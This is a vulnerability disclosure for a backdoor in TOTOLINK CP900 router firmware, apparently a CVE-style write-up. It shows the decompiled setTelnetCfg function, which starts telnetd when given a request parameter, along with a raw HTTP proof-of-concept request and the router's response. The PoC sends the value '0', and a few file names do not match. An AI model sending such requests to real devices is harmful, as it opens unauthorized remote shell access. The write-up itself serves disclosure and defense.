TOTOLINK 存在后门服务漏洞

Vendor:TOTOLINK

Product:CP900

Version:TOTOLINK_C8B810C-1A_CP900_CP0016_QCA9531_SPI_16M128M_V6.3c.566_B20171026_ALL.web

Link:http://www.totolink.cn/data/upload/20210720/5bee10397c082b0419cbad3eb7d1bd97.zip

Type:BackDoor API

Exploit Auth:B2eFly@Hillstone

漏洞描述

允许攻击者远程开启telnet服务

In csecgi.cgi:

In setTelnetCfg function，**telnet_enabled** is directly passwd by the attacker,so we can control the **filename** to enable telnetd.

Enventuall,the initial input will be turn on telnetd.

```
int __fastcall setTelnetCfg(int a1, int a2, int a3)
{
  int Var; // $s1
  const char *v6; // $a0

  Var = websGetVar(a2, "telnet_enabled", "0");
  if ( atoi(Var) )
    v6 = "telnetd -l /bin/login &";
  else
    v6 = "killall -q telnetd";
  CsteSystem(v6, 0);
  cs_uci_set("system.telnetd.enable", Var);
  cs_uci_commit("system");
  return websSetCfgResponse(a1, a3, "0", "reserv");
}
```

POC

Request

Pretty Raw Hex \n

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.254
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 60
Origin: http://192.168.0.254
Connection: close
Referer: http://192.168.0.254/adm/ntp.asp?timestamp=1648194495732
Cookie: SESSION_ID=2:1648151284:2

{
  "topicurl":"setting/setTelnetCfg",
  "telnet_enabled":"0"
}
```

Response

Pretty Raw Hex Render \n

```
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 100
Pragma: no-cache
Cache-Control: no-cache
Connection: close
Date: Thu, 24 Mar 2022 20:04:13 GMT
Server: lighttpd/1.4.30

{
  "success":  true,
  "error":  null,
  "lan_ip": "192.168.0.254",
  "wtime":  "0",
  "reserv": "reserv"
}
```